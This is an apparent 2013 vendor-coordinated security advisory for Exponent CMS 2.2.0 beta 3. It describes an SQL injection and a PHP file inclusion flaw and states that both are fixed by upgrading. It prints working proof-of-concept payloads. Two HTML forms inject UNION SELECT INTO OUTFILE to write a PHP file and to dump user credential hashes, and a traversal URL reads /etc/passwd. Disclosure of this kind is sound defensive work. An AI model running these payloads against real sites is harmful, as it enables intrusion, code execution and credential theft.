Multiple Vulnerabilities in Exponent CMS

[advisory@xxxxxxxxxxxx]

Advisory ID: HTB23154
Product: Exponent CMS
Vendor: Online Innovative Creations
Vulnerable Version(s): 2.2.0 beta 3 and probably prior
Tested Version: 2.2.0 beta 3
Vendor Notification: April 24, 2013 
Vendor Patch: May 3, 2013 
Public Disclosure: May 15, 2013 
Vulnerability Type: SQL Injection [CWE-89], PHP File Inclusion [CWE-98]
CVE References: CVE-2013-3294, CVE-2013-3295
Risk Level: High 
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 7.6 
(AV:N/AC:H/Au:N/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in 
Exponent CMS, which can be exploited to execute arbitrary SQL commands in the 
database of vulnerable application and execute arbitrary PHP code on the 
vulnerable system.


1) SQL Injection in Exponent CMS: CVE-2013-3294

The vulnerability exists due to insufficient filtration of "src" and "username" 
HTTP GET parameters passed to "/index.php" script. A remote unauthenticated 
attacker can execute arbitrary SQL commands in application's database.

Depending on database and system configuration, the PoC (Proof-of-Concept) code 
below will create a "/var/www/file.php" file with PHP function 'phpinfo()':


<form action="http://[host]/index.php"; method="post" name="main">
<input type="hidden" name="action"   value="login">
<input type="hidden" name="int"      value="1">
<input type="hidden" name="module"   value="login">
<input type="hidden" name="password" value="password">
<input type="hidden" name="src"      value="' UNION SELECT '<? phpinfo(); ?>' 
INTO OUTFILE '/var/www/file.php' -- ">
<input type="hidden" name="username" value="' UNION SELECT '<? phpinfo(); ?>' 
INTO OUTFILE '/var/www/file.php' -- ">
<input type="submit" id="btn">
</form>


The second PoC will attempt to create "/var/www/file.txt" file, containing 
usernames and hashed passwords of all application's users: 


<form action="http://[host]/index.php"; method="post" name="main">
<input type="hidden" name="action"   value="login">
<input type="hidden" name="int"      value="1">
<input type="hidden" name="module"   value="login">
<input type="hidden" name="password" value="password">
<input type="hidden" name="src"      value="' UNION SELECT 
CONCAT_WS(':',username,password) FROM `exponent_user` INTO OUTFILE 
'/var/www/file.txt' -- ">
<input type="hidden" name="username" value="' UNION SELECT 
CONCAT_WS(':',username,password) FROM `exponent_user` INTO OUTFILE 
'/var/www/file.txt' -- ">
<input type="submit" id="btn">
</form>



2) PHP File Inclusion in Exponent CMS: CVE-2013-3295

The vulnerability is caused by improper filtration of user-supplied input 
passed via the "page" HTTP GET parameter to "/install/popup.php" script, which 
is publicly accessible after CMS installation by default. A remote 
unauthenticated attacker can include arbitrary PHP files from the local system 
using directory traversal sequences with URL-encoded NULL byte, read arbitrary 
files or execute arbitrary PHP code on the target system. 

The PoC code below will output the content of '/etc/passwd' file on vulnerable 
system:

http://[host]/install/popup.php?page=../../../../etc/passwd%00

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Solution:

Upgrade to Exponent CMS v2.2.0 Release Candidate 1

More Information:
http://www.exponentcms.org/news/release-candidate-1-v2-2-0-set-loose
http://forums.exponentcms.org/viewtopic.php?f=16&t=789

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References:

[1] High-Tech Bridge Advisory HTB23154 - 
https://www.htbridge.com/advisory/HTB23154 - Multiple Vulnerabilities in 
Exponent CMS.
[2] Exponent CMS - http://www.exponentcms.org - Exponent is a website content 
management system (or CMS) that allows site owners to easily create and manage 
dynamic websites without necessarily directly coding web pages, or managing 
site navigation.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.